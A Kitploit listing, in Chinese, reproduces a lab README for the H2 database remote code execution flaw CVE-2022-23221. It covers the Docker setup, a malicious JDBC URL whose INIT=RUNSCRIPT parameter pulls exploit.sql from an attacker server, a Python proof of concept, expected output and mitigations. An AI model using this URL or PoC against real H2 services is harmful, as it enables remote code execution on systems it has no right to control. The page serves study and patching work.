Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
H2-database-CVE-2022-23221 — CVE-2022-23221 | Kitploit
工具/GitHubGitHub/straightsang/h2-database-cve-2022-23221
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育数据库安全实验室与实践
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

CVE-2022-23221

查看仓库
231个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

H2 数据库 RCE (CVE-2022-23221)


1. 概述

  • 参考: https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • H2 是一个关系型数据库管理系统,它提供了在 SQL 引擎内部直接编译并执行 Java 代码的功能。

  • H2 驱动会解析 JDBC URL 以建立应用程序与数据库之间的连接。此时可以通过 URL 中包含的配置参数来控制数据库的初始状态或行为。

  • 存在问题的 H2 2.1.210 之前版本存在一个漏洞:可以通过 JDBC URL 的 INIT 参数执行远程 SQL 脚本。攻击者利用这一点,从远程注入精心构造的 SQL 脚本,并通过其中的语句执行系统命令,从而触发 CVE-2022-23221 漏洞。

  • 该漏洞的特点如下。

    1. 无需认证:只要拥有输入 JDBC URL 的权限,任何人都可以利用此漏洞夺取系统的控制权。
    2. 服务启动时自动执行:攻击者只需修改配置文件,使用 h2 的服务在启动时就会自动发生 RCE(远程代码执行)。
    3. 隐蔽性:开发者难以察觉攻击。
    4. 影响范围广:凭借 H2 的高速与轻量特性,H2 被广泛用于各类 Web 服务的开发/测试。通过配置文件,或接收用户输入来设置 JDBC URL 的所有环境都可能成为利用此漏洞进行攻击的目标,因此影响范围很大。
  • 漏洞影响范围

    • 受影响版本:H2 2.1.210 之前
    • 修复版本:H2 2.1.210 及以上

2. 漏洞条件

  • 须为 H2 2.1.210 之前的版本。
  • JDBC URL 中须包含 IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’。
    1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> 绕过安全设置
      • 存在此参数会使安全设置失效,因此在初始化时远程脚本执行命令不会被拦截,而是照常执行。
    2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> 在应用程序与数据库连接时自动执行的 SQL 命令
      • 如果 INIT 参数的值中包含 SQL 命令 RUNSCRIPT 和恶意脚本的地址,H2 会在应用程序与 H2 数据库建立连接时访问该服务器,下载并执行文件。
  • 下载的 SQL 脚本内部须包含 CREATE ALIAS SQL 语句。
    • 远程执行的脚本内部的 CREATE ALIAS 语句会使 H2 在数据库内执行脚本中的 Java 函数,最终导致 RCE 发生。




3. 环境搭建

  • 场景

    • 搭建存在漏洞的 H2 环境,并将恶意 JDBC URL 输入到 H2 中。H2 会在没有进行适当验证的情况下解析该 URL,并从 attacker 服务器接收 sql 文件并执行。如果 h2-vulnerable 服务器的日志中输出 “EXPLOITED” 字符串以及命令 id、whoami、pwd 的执行结果,则说明已搭建存在漏洞的 H2 环境,并且 H2 在解析恶意 JDBC URL 的过程中从外部 attacker 服务器远程下载并执行了 exploit.sql 文件。
  • 环境搭建

    docker compose up -d 
    

    docker ps

    • 执行命令后,以下环境将启动。
    • h2-vulnerable: H2 2.0.206(修复前的漏洞版本)
      • H2 Web 控制台: http://your-ip:8082
      • TCP 服务器: tcp://your-ip:9092
    • attacker: HTTP 服务器
      • http://your-ip:8000 : 提供 exploit.sql 文件
  • 配置环境后,访问 http://your-ip:8082 会出现 H2 网页。




4. 复现步骤

: 由于 Web 控制台应用了安全策略,作为漏洞条件的参数可能会被过滤,因此通过 CLI 直接输入包含恶意参数的 JDBC URL 来复现漏洞,并确认其结果。

[正常请求 case]

  • 正常 JDBC URL: "jdbc:h2:mem:test"

  • 正常请求命令

    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    
  • 执行结果 基于 CLI 的执行

    • attacker 服务器未收到任何请求
    • h2-vulnerable 服务器未输出任何日志

[漏洞攻击 case]

  • 恶意 JDBC URL:"jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

1. 执行攻击

  • 将恶意 JDBC URL 输入到 H2 驱动中,尝试与 attacker 服务器建立连接。此时输入 URL 的方法有两种。

    1. 通过 CLI 直接向 H2 Shell 输入恶意 JDBC URL。
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    

    基于 CLI 的执行

    1. 执行 PoC 文件。
    python3 poc.py
    

    执行 poc.py

2. 文件请求及执行

  • H2 按照 JDBC URL 的 INIT 参数中指定的 INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql',向 attacker 服务器请求(HTTP GET)exploit.sql 文件,并在 H2 数据库内执行该文件。

    1. 执行 docker logs attacker 即可确认从 h2-vulnerable 服务器发来的 exploit.sql 文件请求日志。
    docker logs attacker
    

    1. attacker 服务器返回被请求的 exploit.sql 文件,h2-vulnerable 服务器执行接收到的 exploit.sql 文件。此时脚本内部的 CREATE ALIAS 语句会诱导执行 Java 代码,从而发生 RCE


5. poc.py 代码

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys

"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
    
    # H2 서버 준비 대기
    time.sleep(3)
    
    # 검증 우회 파라미터가 포함된 JDBC URL
    # IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
    # FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
    # INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
    jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
    
    try:
        # H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
        cmd = [
            'docker', 'exec', 'h2-vulnerable',
            'java', '-cp', '/h2-bin/h2.jar',
            'org.h2.tools.Shell',
            '-url', jdbc_url,
            '-user', 'sa',
            '-password', ''
        ]
        
        # Docker 명령어 실행 및 결과
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=15
        )
        
        return True
        
    except Exception as e:
        print(f"[-] 에러: {e}")
        return False

"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다. 
반환값: 없음
"""
def main():

    if exploit_h2():
        print("[+] 공격 완료")
    else:
        print("[-] 공격 실패")
        sys.exit(1)

if __name__ == "__main__":
    main()



6. 执行结果

  • 执行 exploit.sql 文件的结果是,h2-vulnerable 服务器的日志中会输出“EXPLOITED”字符串以及命令 id、whoami、pwd 的执行结果。

  • 可通过 docker logs h2-vulnerable 查看日志。

    docker logs h2-vulnerable`
    

    执行结果确认

=> 这意味着已构建出存在漏洞的 h2 环境,并且 H2 在解析恶意 JDBC URL 的过程中成功实现了文件的远程下载与执行。


7. 应对方案

  • 升级到 H2 2.1.210 或更高版本
    • 补丁内容:限制 INIT 参数的外部脚本执行功能
    • 发布日期:2022-05-15
  • 加强 JDBC URL 输入值验证:拦截包含 INIT、RUNSCRIPT 等可导致远程代码执行的参数的输入,并基于白名单方式验证 JDBC URL 输入。
  • 配置与环境完整性监控:配置文件发生变更时,先验证是否被篡改,然后经过管理员批准。
下载工具